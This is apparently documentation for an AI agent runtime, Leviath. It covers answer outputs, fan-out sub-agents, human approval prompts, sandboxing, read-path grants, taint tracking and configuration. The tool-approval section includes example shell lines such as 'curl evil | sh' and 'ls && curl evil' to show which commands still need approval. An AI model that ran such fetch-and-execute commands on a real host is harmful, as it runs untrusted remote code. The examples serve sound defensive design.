missing. ## An answer counts as output A run that changes no files is normally reported as `complete (no output)`. That verdict exists to catch an agent that was supposed to write something and did not. A submitted answer clears it. A researcher, a reviewer, or a router produces its answer and nothing else, and reporting those runs as empty was wrong. ## Large results An answer is one model response. That is a hard ceiling, not a policy. `submit_output` takes its content as a tool-call argument, and the model writes that argument token by token in a single turn. The 256 KiB cap is roughly 65k tokens, about what a current frontier model can emit at most. A million-row CSV is around 25 million output tokens. It will never arrive this way, at any cap, for any budget. So an agent with a lot to hand back does not put it in the answer. It writes a file as it goes, and the answer describes it: ```mermaid flowchart LR A["the answer
what the run concluded"] --> B["one model response"] C["the artifact
what the run produced"] --> D["a file, any size"] A -.names.-> C ``` | | Holds | Size | Read it with | |---|---|---|---| | Answer | The findings, the summary, the verdict | One model response | `lev result` | | Artifact | The dataset, the long report, the generated file | Unbounded | `GET /api/agents/{id}/files?path=` | A file larger than one response is read a window at a time. Pass `offset`, then continue from the `next_offset` each response carries until it comes back null. Concatenating the windows gives you the file back exactly, including through multi-byte characters. Name your files in `artifacts` when you submit: ``` submit_output( content: "2.1M registrations across 14 countries. Norway leads per-capita ...", artifacts: ["data/registrations.csv"] ) ``` Paths must land inside the working directory, the same rule that governs serving one. A path that escapes refuses the whole submission rather than being quietly dropped, so a named file is always a file you can fetch. This is why there is no pagination. What a caller reads is bounded by what a model can say. What gets big is a file, and files are fetched by path. An answer that does hit the cap is cut at a character boundary and marked `truncated`, and the agent is told so it can shorten. ### Many results at once Asking for a hundred things is a [fan-out](/docs/sub-agents), not a large answer. Each worker gathers its slice and submits its own bounded piece, and the merge stage assembles them. Set `require_output` on the worker stage so the merge is guaranteed something to merge. The consolidated report the merge stage receives is bounded per worker, so one verbose worker cannot crowd out the rest. A worker's full answer stays on its own run if you want it. The bundled `data-analyst` works exactly this way. ## Checking a blueprint `lev validate` refuses an output stage that cannot submit, and warns about the ways one becomes unreachable. | Finding | What it means | |---|---| | `output-unreachable` | No edge routes to the output stage | | `allow-complete-skips-output` | An earlier stage may end the run instead of routing onward | | `output-shape-not-required` | A shape is declared but nothing must produce it | | `output-stage-can-modify` | An output stage can also write files | The second one is worth knowing about. `allow_complete` offers the model a "DONE" it can choose instead of a transition. Leviath appends that option even to a stage's own `transition_prompt`, so a stage can offer an exit its prompt never mentions. A run that takes it ends with no answer and looks like a success. ======================================================================== # Sub-agents & fan-out Source: https://leviath.dev/docs/stable/sub-agents # Sub-agents and fan-out Some jobs are really many small jobs. Twelve failing tests, forty files to review, eight sub-topics to research. One agent working through them in sequence is slow, and by item nine its context is full of items one through eight. A **sub-agent** is a child agent started by another one. Give each item its own sub-agent and they run at the same time, each with a clean context, and the parent gets the results back. Five bundled agents work this way: `data-analyst` gathers one slice of a subject per worker, `reviewer` takes a file or hunk group each, `log-analyzer` a log file or time window, and `deep-researcher` and `wide-researcher` hand each sub-question to a whole `researcher` run. See the [agent catalog](/docs/agent-catalog) for all five. Sub-agents cost very little here. They are more entities in the same [world](/docs/engine), so there are no extra processes to start and nothing has to be serialized between a parent and its children. ## Fan-out A fan-out stage splits a task into work items, runs one sub-agent per item (up to `max_workers` at a time), and merges the results back into the parent: ```mermaid flowchart TB P["Parent fan-out stage"] --> Q{"split_prompt
→ work items"} Q --> W1["worker 1"] Q --> W2["worker 2"] Q --> W3["worker 3"] W1 & W2 & W3 --> M["merge_stage
(aggregate results)"] M --> P2["Parent continues"] ``` ```toml [stages.fix] mode = "fan_out" worker_stage = "fix_one" # which worker to run, see below split_prompt = "..." # prompt that produces the JSON array of work items merge_stage = "verify" # stage the parent resumes at once workers finish max_workers = 8 # how many run at once, default 4 on_worker_failure = "continue" ``` Those keys sit directly on the stage next to `mode = "fan_out"`, not in a sub-table. | Key | Default | Meaning | |---|---|---| | `worker_agent` | unset | A separate installed blueprint to run as the worker | | `worker_stage` | unset | A stage in *this* blueprint, which must set `allow_as_worker = true` | | `worker_query` | unset | A hint matched against installed agent types | | `merge_stage` | unset | Stage that reconciles worker results before the parent moves on | | `results_region` | `conversation` | Where the consolidated worker report lands | | `max_items` | unset | Most work items the split may produce | | `max_workers` | `4` | How many workers run at once | | `on_worker_failure` | `"continue"` | `continue` merges what succeeded. `fail_all` fails the whole fan-out if any worker fails | | `split_prompt` | `""` | Added to the stage's system prompt. Its reply is parsed as the list of work items | Set exactly one of `worker_agent`, `worker_stage`, or `worker_query`. `lev validate` checks that, and checks that a named `worker_stage` exists and has opted in with `allow_as_worker`. ### A worker that is a whole other agent `worker_stage` keeps the work inside this blueprint. `worker_agent` hands each item to a separate installed agent instead, which is worth doing when one already does the job: ```toml [stages.investigate] mode = "fan_out" worker_agent = "researcher" # every item is a full researcher run merge_stage = "analyze" max_workers = 4 ``` That is what the bundled `deep-researcher` and `wide-researcher` do. The difference is not only who does the work: a `worker_agent` worker is a run of its own, so it brings its own stages, its own tools, and its own clean context window, rather than a share of the parent's. The cost is a dependency. The named blueprint has to be installed, and `lev validate` cannot check that for you the way it checks a `worker_stage`, because what is installed is a property of the machine rather than of the blueprint. A missing one fails per item, so with the default `on_worker_failure = "continue"` the run reports it rather than dying. `lev setup` installs the bundled agents together, so this only bites when an agent has been installed on its own. ## What a worker hands back A worker contributes whatever it submitted through [`submit_output`](/docs/outputs). That submission is what the merge stage reads. A worker that submits nothing falls back to the text of its last message. That text is often empty, because a worker whose final action was a tool call has no trailing prose. Set `require_output` on the worker stage when the merge depends on its answer. ```toml [stages.fix_worker] mode = "autonomous" available_tools = ["read_file", "edit_file", "shell", "submit_output"] allow_as_worker = true require_output = true ``` A worker that finishes without submitting is nudged and re-run a few times first. It never strands the fan-out: after that the merge proceeds anyway, and the run records `output_forced`. When it still hands back nothing, it is reported as a **failed** worker with the reason, rather than as a success with an empty section: ``` [fan_out results: 7 succeeded, 3 failed] ## worker w4 FAILED worker finished without the final output its stage requires ``` The merge stage can act on that. An empty section it cannot even see. ## Where the results land, and how they share the space The merge stage reads one consolidated report holding every worker's answer. That report has to fit a context region, so each worker gets an equal share of it. Equal is the important word. Each worker's section is the region's budget divided by the number of workers, so all of them appear. A section that had to be cut says so, and the worker's own run still has the whole thing. ```toml [stages.split] mode = "fan_out" worker_stage = "gather_worker" merge_stage = "build" results_region = "worker_rows" # default: conversation max_items = 12 # default: however many the split produces ``` Name a `results_region` when the results are bulky. The default is `conversation`, which is also carrying the message history, so a large report competes with the turns around it. A region of its own has a budget of its own, and that budget is what the shares divide. `max_items` caps how many work items the split may produce. This is not `max_workers`, which caps how many run at the same time: | | Caps | Why you set it | |---|---|---| | `max_workers` | How many run at once | Rate limits, machine load | | `max_items` | How many exist at all | Cost, and each worker's share of the region | Split a hundred ways and every worker gets a hundredth of the space. Past some point each section is too small to be worth reading, and `max_items` is how you stop the split getting there. Without it, whatever the split produces is what runs. ## `max_workers` is not the knob you might think Three different settings limit concurrency, and they are easy to confuse. All three apply at once: | Setting | Bounds | Scope | |---|---|---| | `max_workers` | Sub-agents this stage spawns | One fan-out stage | | `[limits] max_concurrent_inferences` | Model requests in flight | Per model, daemon-wide | | `[rate_limits.]` | Requests per minute | Per provider | So `max_workers = 8` starts eight sub-agents, but if the model pool only allows four requests at once, four of them wait. That is fine and costs nothing. See [inference pools](/docs/engine#inference-pools). ## Any sub-agent can ask you a question A sub-agent at any depth can ask *you* something directly. It does not have to route the question back up through its parent, and nothing is fire-and-forget: ```mermaid sequenceDiagram participant You participant Parent participant Worker as Sub-agent (depth 2) Parent->>Worker: spawn with a work item Worker->>You: ask_user "which API version?" You-->>Worker: "v2" Worker-->>Parent: result ``` See [Human-in-the-loop](/docs/interaction) for how the question reaches you and how you answer it. > [!TIP] > The [dashboard](/docs/dashboard) and the API's `GET /api/agents/tree` show the whole sub-agent > tree with token totals per subtree, so you can see where the budget is actually going. ======================================================================== # Human-in-the-loop Source: https://leviath.dev/docs/stable/interaction # Human-in-the-loop Sometimes you do not want the agent deciding on its own. It should check the plan with you before writing code. It should ask which API version to target rather than guessing. And you should be able to redirect it halfway through, when you realise it is going the wrong way. A Leviath run does not have to be autonomous. There are three ways a person gets involved: | You want | Use | Who starts it | |---|---|---| | The agent to ask when it is unsure | The `ask_user_*` tools | The agent, if it chooses to | | A checkpoint that always happens | An [interaction point](#interaction-points) | The runtime, every time | | To redirect a run already going | `lev msg` | You, whenever you like | You can answer from the [dashboard](/docs/dashboard), from [The Lair](https://leviath.dev/lair), the browser console, from the CLI, or the [HTTP API](/docs/api). ```mermaid sequenceDiagram participant A as Agent participant H as Human A->>H: "ask_user_confirm: Delete the branch?" Note over A: run pauses, question is open H-->>A: "lev respond --approve" A->>A: "answer injected, run resumes" ``` ## Interaction kinds Every prompt an agent puts to a person is one of five kinds (`InteractionKind`). The kind decides what the client renders and what a valid answer looks like: | Kind | Wire value | What the user does | |---|---|---| | Free-text | `free_text` | Types a free-form answer | | Multiple-choice | `multiple_choice` | Picks one option from a list | | Confirm | `confirm` | Answers yes / no | | Tool-approval | `tool_approval` | Allows or denies a specific tool call | | Edit-text | `edit_text` | Edits a document in place and submits the modified text | A request may also carry a rich `body` (a markdown plan or document) for the user to review alongside the prompt. ## Agent-raised questions Mid-reasoning, a model may call one of these tools on its own judgment. The run pauses on the tool call until the answer comes back, then continues with it: - `ask_user_text`: a free-text question. Returns the user's answer (or "User provided no answer."). - `ask_user_choice`: a multiple-choice question (requires at least 2 `options`). - `ask_user_confirm`: a yes/no confirmation. - `edit_document`: hands the user a document (the tool's `content`) to edit; returns the edited text. - `present_for_review`: shows a markdown document (`title` + `markdown`) for review and collects optional feedback. > [!NOTE] > Under an unattended run (`--yolo`) nobody is watching, so these five tools are not advertised to > the model at all. It never sees them and decides for itself, instead of spending a round trip to > be told no one is there. A call that arrives anyway (a model repeating itself out of its own > context) is refused the way any unoffered tool is. > > A stage that genuinely needs a person keeps the tools it names in > [`required_tools`](/docs/tools#these-tools-need-someone-there). > > Unattended applies to the whole run tree, not just the agent you launched: sub-agents and > fan-out workers inherit it, and it survives a daemon restart. Otherwise a child could stop > on a prompt nobody was watching for and take its parent down with it. ## When nobody answers Every prompt on this page waits on a person, and nobody is always there. A run whose operator has gone home should not sit in `WaitingInput` holding its slot until the daemon restarts. `[limits] interaction_timeout_secs` puts a deadline on that wait: one hour by default, and `0` waits indefinitely. When it passes, the prompt resolves exactly as cancelling it would: | Prompt | What an expiry means | |---|---| | Tool approval | Denied. A timeout is never read as consent. | | Taint gate | Denied. | | `ask_user_*` | The model is told no answer came, and carries on. | | Interaction point | Proceeds with no user text, as a cancelled checkpoint does. See below. | An interaction point that declared `unattended = "ask"` behaves differently on a timeout: the run **stops with an error**, rather than approving a checkpoint nobody made. The deadline is read once when the daemon starts, so changing it needs a daemon restart. ## Tool approval Instead of the model asking, you can require approval for a tool before it runs. Set a tool's per-stage (or agent-level) permission to `ask`. The values are `allow`, `ask`, and `deny`: ```toml [tool_permissions] read_file = "allow" write_file = "ask" # pause and ask before each write bash = "ask" ``` ### What runs without asking `ask` is per tool name, which for the shell is a choice between a prompt on every `ls` and no prompt on `curl evil | sh`. `[safe_commands]` is the middle: entries are argument-scoped, and can only ever turn `ask` into `allow`, never a configured `deny`. ```toml [safe_commands] defaults = true # ship the read-only verb list, on unless you say otherwise tools = ["read_files"] shell = ["cargo test", "rg"] # `cargo test` never covers `cargo publish` [agent_safe_commands.coder] shell = ["./gradlew"] allow_blueprint = true # honour this agent's own [safe_commands] block ``` A shell entry is a program, optionally with the subcommand that narrows it, and it covers that program with any arguments: `cat` covers `cat notes.md`. It does not cover a line that also runs something else, so `cat notes.md && curl evil` still asks. The shipped list holds to one rule: an entry must not be able to write a file, execute another program, or open a network connection under any flag. That is why `find` (`-exec`), `sed` (`-i`), `awk` (`system()`), `sort` (`-o`), `xargs`, `env`, `nohup` and `cargo` are absent however ordinary they look. Add any of them by name if you want them. `lev approvals safe` prints what is in effect and which file put it there. A blueprint may declare its own `[safe_commands]`, and like `[read_paths]` it is inert until you opt in, because otherwise any agent package could pre-approve its own shell with one TOML line. ### The prompt An `ask` gate raises a `tool_approval` prompt naming the tool and its telling argument (the shell command for `bash`/`shell`, the path for the file tools), with four options: - **Allow once**: permit just this one call. - **Allow ... for this stage**: permit every later call this covers, until the run leaves the current stage. Re-entering the same stage keeps the grant, so a revision loop does not re-ask. - **Allow ... for this run**: permit every later call this covers, for the rest of the run. - **Deny**: reject the call. The two scoped options name what they grant, because a grant is not keyed on the tool. Approving `ls && git status` for the run grants `ls` and `git status`, not "the shell": a later `ls && curl evil` still asks, because `curl` was never approved. Approving `git diff` does not approve `git push`. A line the parser cannot read as a list of commands (a backtick, a heredoc, an `eval`, a program named by a variable) has nothing reusable to grant, and the prompt says so. Nothing is written to disk. Every grant dies with the run that made it. The taint gate in [security](/docs/security) uses the same prompt shape with its own wording. An outbound tool that would carry sensitive data above its clearance is blocked, then surfaced as a tool-approval. There, **Allow for this session** raises the tool's clearance for the rest of the run, and **Deny** blocks it. It offers no per-stage option, because a clearance is not keyed on what a call runs. ## Interaction points An interaction point is a checkpoint you write into the blueprint rather than one the agent chooses to raise. That is the whole difference from the `ask_user` tools. Those only fire if the model decides to call them, so an agent that is confident and wrong sails past. An interaction point fires at the stage boundary every time, before the stage is allowed to move on. Set the stage's mode to `interactive_points` and list one or more: ```toml [stages.plan] mode = "interactive_points" [[stages.plan.interaction_points]] name = "plan_approval" prompt = "Approve the plan?" required = true unattended = "ask" # ask | auto_approve (default) style = "multiple_choice" # free_text | multiple_choice | confirm options = ["Approve", "Revise", "Edit", "Abort"] abort_options = ["Abort"] edit_options = ["Edit"] directives = { "Revise" = "Call ask_user_text to find out what to change, then re-plan." } document_region = "plan" ``` ### What each answer does Which list you put an option in decides what picking it does. Nothing is left to the model here: | Answer | Where you put it | What happens | |---|---|---| | Approve | Any option not in the lists below | The point is satisfied. Once every point is satisfied, the stage moves on | | Revise | A key in `directives` | The directive text is added to the conversation, the stage runs again, and you are asked once more | | Edit | An option in `edit_options` | The stage's latest output opens for you to edit. Your version is adopted, and you are asked once more | | Abort | An option in `abort_options` | The run is cancelled immediately. No further model calls, no transition | Options are matched exactly first, then again ignoring dashes and whitespace, so "Auto approve" and "auto-approve" both land. ### Keeping the document current `document_region` names a pinned [context](/docs/context) region, `"plan"` in the example above, that holds whatever the point is about. Every time the point is presented, that region is replaced with the current text, whether that came from the model or from your own edit. So when you revise three times, the third pass builds on your second round of edits rather than starting over from the original task. Without this, a revision loop keeps regenerating from scratch and your edits are lost each time. `unattended` decides what the point does in a `--yolo` run. The default, `auto_approve`, resolves it as approved without opening a prompt: nobody is watching, and a checkpoint that waited would park the run. Set it to `ask` for a gate whose whole purpose is a human decision, such as a plan signed off before any code is written. The prompt then opens even under `--yolo`. The bundled `coder` leaves its plan checkpoint on the default, so an unattended run proceeds; set `ask` on your own blueprint when the decision genuinely cannot be made without you. Give a run like that an [`interaction_timeout_secs`](/docs/configuration#limits), so an unanswered gate releases on its own terms instead of waiting for ever. Know what that looks like before you meet it. A `--yolo` run holding an `ask` gate shows `waiting: checkpoint` in `lev ps` (the JSON wait reason is `interaction_point`), and does nothing until the timeout expires. The default timeout is one hour, so the run is not stuck, but for that hour it is indistinguishable from a run that is. `lev respond --json` lists the question it is holding. > [!WARNING] > The revise and edit loops are bounded: after 4 revision rounds at a single point (`MAX_REVISION_ROUNDS`), > the stage proceeds regardless, so a revise/edit loop can never run forever. ## Mid-run messages You can steer a running agent without waiting for it to ask. A message is injected into the conversation region between inference calls, as if the user had spoken mid-turn: ```bash lev msg "Focus on the auth module first, skip the migrations for now." ``` Whether a message lands right away is per-stage. `accepts_messages` defaults to `true`; set it to `false` on a stage that shouldn't be interrupted (e.g. a final report), and messages stay queued in the agent's inbox until it reaches a stage that accepts them: ```toml [stages.report] mode = "autonomous" accepts_messages = false # hold messages until a later stage that accepts them ``` > [!TIP] > A message is delivered to at most one running agent by id. If nothing accepts it (no such live > agent), `lev msg` reports `no agent accepted the message`. ## Answering questions When a run is waiting on a question, answer it with `lev respond`. Run it with no arguments to list the interactions the daemon is currently holding, then answer one by its request id: ```bash lev respond # list open interactions lev respond "your answer" # free-text / edited value lev respond --choice 1 # multiple-choice, 0-based index lev respond --approve # tool-approval / confirm lev respond --approve --stage # and every later call this covers, this stage lev respond --approve --session # and every later call this covers, this run lev respond --deny # reject ``` You don't have to use the CLI. The same open questions can be answered interactively from the [dashboard](/docs/dashboard) (press `i`), from [The Lair](https://leviath.dev/lair), or over the [API](/docs/api) via `GET/POST /api/agents/{id}/interaction`: read the pending question, then post the answer. > [!NOTE] > Interaction state survives a daemon restart. An agent parked at a stage-boundary interaction > point is re-presented with the exact same prompt when the daemon comes back, rather than dropping > the question and re-running inference. ======================================================================== # Security & sandboxing Source: https://leviath.dev/docs/stable/security # Security: sandboxed execution and taint tracking An agent runs shell commands and edits files. By default it does that directly on your machine, as you, with your permissions. That is the right default for an agent working on your own project in a directory you chose, and the wrong one for a blueprint somebody sent you. Leviath gives you three separate controls, and you can use as few or as many as you need: | Control | Question it answers | Section | |---|---|---| | Sandboxing | Where do commands run? | [Sandboxes](#sandboxes) | | Read paths | Which files can it see? | [Reading outside the workdir](#reading-outside-the-workdir) | | Taint tracking | Can it send what it read somewhere? | [Taint tracking](#taint-tracking-experimental) | ```mermaid flowchart LR C["A tool call"] --> P{"Permission:
allow, ask, or deny"} P -->|deny| X["Refused"] P -->|ask| U["You answer"] U -->|no| X P -->|allow| R{"Reads a path
outside the workdir?"} U -->|yes| R R -->|"not granted"| X R -->|"granted or inside"| T{"Sends data out
above its clearance?"} T -->|yes| U2["Taint gate asks you"] T -->|no| RUN["Runs, in a sandbox
if you configured one"] U2 --> RUN ``` Tool permissions are a fourth, and they live in [Built-in tools](/docs/tools). Where API keys are stored is `[security] credential_store` in [Configuration](/docs/configuration#security). All of it is opt-in, and an installed blueprint can tighten these settings but never loosen them. The one narrow exception: a blueprint may pre-allow `web_search` and `web_fetch` when you have not configured those tools yourself. ## Sandboxes ```toml [sandbox] kind = "container" # "container" | "namespace" | "none" engine = "docker" # docker | podman | any Docker-CLI-compatible image = "debian:bookworm-slim" network = false [stages.analyze.sandbox] # per-stage override kind = "none" # run discovery on the host… ``` > [!IMPORTANT] > **Today the sandbox covers what the agent executes**, and that scope is being widened. Read this > before you rely on it. > > Inside the boundary: the `shell` tool, a blueprint's seed commands, and a Rhai script tool's > `shell()` calls. Outside it: file tools, which stay on the host and rely on workdir > [path confinement](#reading-outside-the-workdir) instead. Also outside are `web_fetch`, > `web_search`, and a script's HTTP functions, which use the host network, so `network = false` > fences the sandboxed commands and not those tools. > [MCP servers](/docs/mcp) are host processes shared across agents, > so they sit outside too. > > Covering every side effect, and letting a single run opt into a sandbox, is > [issue #326](https://github.com/GEMISIS/leviath/issues/326) and the intended end state. Until it > lands, run the whole daemon in a container when you want a blanket boundary. The sandbox bind-mounts the run's workdir, so sandboxed commands and host-side file tools see the same files. **Containers**, using Docker or Podman, give you the real thing. The daemon keeps a warm container per sandbox configuration, so stages with identical settings share one, and tears them down when the agent finishes. Inside it, every Linux capability is dropped and the process cannot regain privileges, and both process count and memory are capped. **Namespaces** (Linux only) are lighter and need no container runtime. They isolate process IDs, and with `network = false` they cut off connectivity. They do *not* isolate the filesystem, which is the important limitation: a namespace shares the host's. Use one when you want cheap process and network isolation, and a container when you want the agent's commands genuinely fenced off. When the configured mechanism is unavailable, a `namespace` off Linux or a `container` with no engine on `PATH`, the agent **fails to spawn** with a clear error. That is `on_unavailable = "error"`, the default; set `on_unavailable = "warn"` to log and fall back to the host instead. > [!IMPORTANT] > An *installed* agent can never weaken the sandbox you configured. It may pick a stricter kind, > never a looser one, and its own `engine` choice is always discarded, because the engine binary > runs on the host at spawn, before any prompt. With no `[sandbox]` of your own, a blueprint may > still opt in with its own image and mounts, so read a downloaded agent's sandbox block rather > than assuming it. ## Reading outside the workdir An agent's file tools are confined to its workdir. Some agents legitimately need to see more: a planner that reads run archives, a reviewer that reads design docs kept next to the repo. For that, a blueprint can declare extra read paths: ```toml [read_paths] allow = [ "~/.leviath/runs", # an exact path grants its whole subtree "../shared-docs", # relative entries resolve against the run's workdir "glob:~/design-docs/**", # glob patterns; * stays in one component, ** crosses "regex:/data/archives/.*", # regex patterns, auto-anchored (^...$) ] ``` Declaring is not granting. The blueprint travels with the agent package, and a package can only tighten what your config allows. Declared paths stay inert until your `config.toml` grants them: ```toml # Grant specific paths, for one agent... [agent_read_paths.cto] allow = ["~/.leviath/runs", "glob:~/design-docs/**"] # ...or machine-wide, for any agent that declares them: [security] read_paths = ["~/.leviath/runs"] # Or trust every blueprint's declarations wholesale (off by default): [security] allow_blueprint_read_paths = true ``` A grant applies to a path only when the running blueprint also declares it, so listing a directory in your config does not open it to agents that never asked. When an agent declares paths nothing grants, it still runs; the reads are refused. Every surface says which side of that line an agent is on, so a missing grant turns up before a run does: ```console $ lev validate cto ✓ Blueprint 'cto' is valid. 3 stages, version 1.0.0 WARN your config does not grant glob:~/design-docs/**: reads matching them will be refused [read-paths-not-granted] add to your config.toml: [agent_read_paths.cto] allow = ["glob:~/design-docs/**"] NOTE declares [read_paths] (reads outside the run workdir): 2 declared, 1 granted [read-paths-declared] ~/.leviath/runs: granted; glob:~/design-docs/**: NOT granted ``` Four other commands surface the same thing, so this is hard to miss: | Command | Shows | |---|---| | `lev list` | The same granted-over-declared counts under each agent | | `lev add` | The status of what you just installed | | `lev run` | Warns in the daemon log when an agent declares reads and your config grants none | | `lev ps` | A `READS` column, granted over declared. `0/2` means every read outside the workdir will be refused | Those checks compare patterns, not paths on disk, so treat them as the first answer rather than the last: an individual read is still matched against the real, symlink-resolved path at run time. You do not need to restart the daemon after editing the grant: it reloads `config.toml` on change, so the **next `lev run` picks up the new grant automatically** (see [the daemon docs](/docs/daemon#config-changes-take-effect-on-the-next-run)). An agent that just failed on a refused read succeeds the next time you run it, once you have added the grant. The rules that keep this safe: - **Read-only.** Only `read_file`, `read_files`, and `list_dir` can leave the workdir. `write_file` and `edit_file` are confined to the workdir no matter what is granted. - **Symlinks cannot widen a grant.** Every access is resolved to its real path first, and the real path must match a declared and granted entry. A symlink planted inside a granted directory that points at `~/.ssh` is refused. - **Patterns match the real path**, written with `/` on every OS (on Windows, matching is case-insensitive and the `\\?\` prefix is handled for you). On macOS note that `/tmp` is really `/private/tmp`; `~/` entries avoid the problem since the home directory is stable. - **Regexes are anchored and absolute.** `regex:/data/runs` matches exactly that path, not `/data/runs-anything`; end a pattern with `/.*` to grant a subtree. A pattern must start with `/`, a drive letter, or `~/`, so a catch-all like `regex:.*` is refused when the blueprint is parsed. Use `glob:` for anything relative to the workdir. - **Globs cannot contain `.` or `..`**, except in a relative entry's leading run, which is folded into the workdir when the pattern is compiled. - **Taint rises.** When a grant is active, the read tools are classified `Private` for that agent, so taint tracking treats out-of-workdir content with more suspicion, not less. - Rhai script tools have their own `read_file` and it stays workdir-confined; `[read_paths]` applies to the built-in file tools only. Pick the run's workdir itself with `lev run --workdir ` (defaults to the directory you ran the command from). ## Taint tracking (experimental) Sandboxes and read paths control what an agent can *reach*. Taint tracking controls what it can do with what it found. Every [context region](/docs/context) carries a sensitivity label: **Public**, **Internal**, or **Private**, in that order of increasing sensitivity. The runtime assigns it. Model output never can, which matters, because otherwise an agent could relabel its own data. Every tool that could send bytes off the machine has a **clearance**, the highest sensitivity it is trusted with. Before such a tool runs, Leviath compares the two. If the data is more sensitive than the tool's clearance, your policy decides what happens next. ```mermaid flowchart TD C["Tool call
(e.g. http_post)"] --> E{"Can it exfiltrate?"} E -->|no| RUN["Run"] E -->|yes| L{"Data taint ≤
tool clearance?"} L -->|yes| RUN L -->|no| P{"Policy?"} P -->|allow| RUN P -->|deny| BLK["Blocked before it fires"] P -->|ask| Q["Prompt: allow once /
for session / deny"] ``` Taint recovers as entries evict, and an unrecognized tool **fails closed**. Configure with a `[security]` block, layer on allowlists and Rhai policy rules, and dry-run any tool: ```bash lev policy list lev policy add send_email --target "*.example.com" --max-sensitivity internal lev policy test bash --target example.com ``` `lev policy add` and `lev policy test` take the tool name as a **positional** argument (`lev policy add …`, `lev policy test --target …`). ## Threat model `lev serve` runs LLM-driven tools, so treat it as trusted-network only unless hardened. See [SECURITY.md](https://github.com/GEMISIS/leviath/blob/main/SECURITY.md) for the full threat model, what Leviath defends against, and how to report a vulnerability (GitHub private advisories). ======================================================================== # Configuration Source: https://leviath.dev/docs/stable/configuration # Configuration (`config.toml`) Machine-wide settings live in `~/.leviath/config.toml`. [`lev setup`](/docs/cli) writes it for you, and everything below is optional: an install with one provider key works with no other key set. This page is the exhaustive list. The concept pages explain *why* each knob exists; this one is where you look up the exact name, type, and default. The same contract ships machine-readable as a [JSON schema](https://leviath.dev/docs/stable/config.schema.json) with a commented [example file](https://leviath.dev/docs/stable/config.example.toml). > [!NOTE] > The daemon watches this file and reloads it when it changes, so an edit takes effect on the > **next** `lev run` with no restart. Boot-time wiring (providers, MCP connections, telemetry > exporters) still needs `lev daemon restart`. See [the daemon docs](/docs/daemon#config-changes-take-effect-on-the-next-run). ## Top level ```toml default_provider = "anthropic" # provider used when a blueprint names none default_model = "claude-sonnet-4-5" # optional model override agent_paths = ["~/projects/my-agents"] # extra directories scanned for blueprints openrouter_api_key = "sk-or-..." # env fallback: OPENROUTER_API_KEY ollama_base_url = "http://localhost:11434" # env fallback: OLLAMA_HOST request_timeout_secs = 900 # per-request HTTP timeout to a provider taint_tracking = false # global master switch, see below batch_tool_hint = true # global master switch, see below shell_hint = true # global master switch, see below ``` | Key | Type | Default | Notes | |---|---|---|---| | `default_provider` | string | `"anthropic"` | | | `default_model` | string | unset | | | `agent_paths` | array of paths | `[]` | Searched in addition to `~/.leviath/agents` | | `openrouter_api_key` | string | unset | Falls back to `OPENROUTER_API_KEY` | | `ollama_base_url` | string | unset | Falls back to `OLLAMA_HOST`, then `http://localhost:11434` | | `request_timeout_secs` | integer | unset | Unset means the 15 minute ceiling. A stage's `[stages..model] request_timeout_secs` wins for that stage | | `taint_tracking` | bool | `false` | Turns on [taint tracking](/docs/security) for every agent. With it off, an agent can still opt in itself | | `batch_tool_hint` | bool | `true` | Adds a short hint telling the model it may batch independent tool calls | | `shell_hint` | bool | `true` | Adds a short hint describing the shell a stage will get. Only says anything on Windows today | All three of those cascade: a stage setting beats an agent setting, which beats this file. ### System-prompt hints `batch_tool_hint` and `shell_hint` are the two hints Leviath writes into a stage's system prompt on its own. Both are on by default, both cascade stage over agent over this file, and both sit at the front of the cacheable prefix so they cost nothing after the first call: ```toml # config.toml: off for this machine shell_hint = false ``` ```toml # a blueprint: back on for this one agent, off for one stage of it [agent] shell_hint = true [stages.plan] shell_hint = false ``` `shell_hint` only reaches a stage that advertises the `shell` tool, and only on a platform whose shell needs explaining. On Linux and macOS it is inert whatever you set it to. See [Built-in tools](/docs/tools#which-shell-you-get) for what it says on Windows. ## `[providers]` Provider credentials. Every key falls back to the matching environment variable, so you can leave the file empty in CI. ```toml [providers] anthropic_api_key = "sk-ant-..." # env fallback: ANTHROPIC_API_KEY openai_api_key = "sk-..." # env fallback: OPENAI_API_KEY google_api_key = "..." # env fallback: GOOGLE_API_KEY claude_code_enabled = false # opt in to the Claude Code CLI transport claude_code_binary = "/usr/local/bin/claude" # unset resolves `claude` on PATH claude_code_effort = "medium" # low | medium | high | xhigh | max anthropic_cache_ttl = "5m" # 5m (default) | 1h fallback_order = ["anthropic/claude-sonnet-5", "openai/gpt-5.6-mini"] ``` `anthropic_cache_ttl` is how long a cached prompt prefix survives. The default `5m` is free; `1h` costs more to write and sends the beta header it needs. It is worth the write cost for a staged agent. Stages routinely take longer than five minutes, especially when one is running scripts. A prefix cached at the start of a run is then cold by the time a later stage could have reused it. `claude_code_enabled` is off unless you turn it on. See [Providers](/docs/providers#claude-code-transport) for the terms note that goes with it. `fallback_order` is where a run goes when the provider it is using stops being usable: out of credits, or a rejected key. Entries are `provider/model` pairs, best first, tried after the stage's own model list and your default model. One naming a provider you have not configured is skipped. It is read per run, so a change takes effect on the next `lev run` with no restart. See [Providers](/docs/providers#a-host-wide-fallback-chain). ## `[limits]` ```toml [limits] max_concurrent_inferences = 8 # in-flight requests per model without its own pool entry max_concurrent_tools = 8 # agents whose tool batches may run at once, daemon-wide default_max_iterations = 50 # fallback cap for a stage that sets none exact_token_counting = false script_shell_timeout_secs = 60 mcp_idle_disconnect_secs = 60 # disconnect an MCP server no agent has used for this long stall_timeout_secs = 60 # fail a run that can never dispatch dead_cycles_before_relief = 10 # widen the tool lane after this long going nowhere finished_retention_secs = 300 # keep a finished run in `lev ps` this long wedge_timeout_secs = 0 # fail a run nothing can reach any more; 0 is off provider_failures_before_open = 3 # pull a provider after this many failures in a row provider_circuit_cooldown_secs = 300 # how long before it is tried again interaction_timeout_secs = 3600 # release a prompt nobody answered inference_retry_attempts = 4 # tries per inference, the first one included inference_retry_base_ms = 1000 # first retry wait for an ordinary blip; it doubles max_tool_call_write_bytes = 2147483648 # 2 GiB; delete the line for no limit max_run_write_bytes = 10737418240 # 10 GiB; delete the line for no limit ``` | Key | Default | Notes | |---|---|---| | `max_concurrent_inferences` | `8` | The [inference pool](/docs/engine#inference-pools) cap, per model | | `max_concurrent_tools` | `8` | Size of the shared tool worker pool. Clamped to at least 1 | | `default_max_iterations` | `50` | A stage's own `max_iterations` always wins | | `exact_token_counting` | `false` | Count each request exactly before sending it. See below | | `script_shell_timeout_secs` | `60` | Cap on a Rhai script tool's `shell()` host call | | `mcp_idle_disconnect_secs` | `60` | Disconnect an [MCP server](/docs/mcp) no agent has used for this long. It reconnects on next use | | `stall_timeout_secs` | `60` | Fail a run that can never dispatch. See below | | `dead_cycles_before_relief` | `10` | 30-second cycles with a full 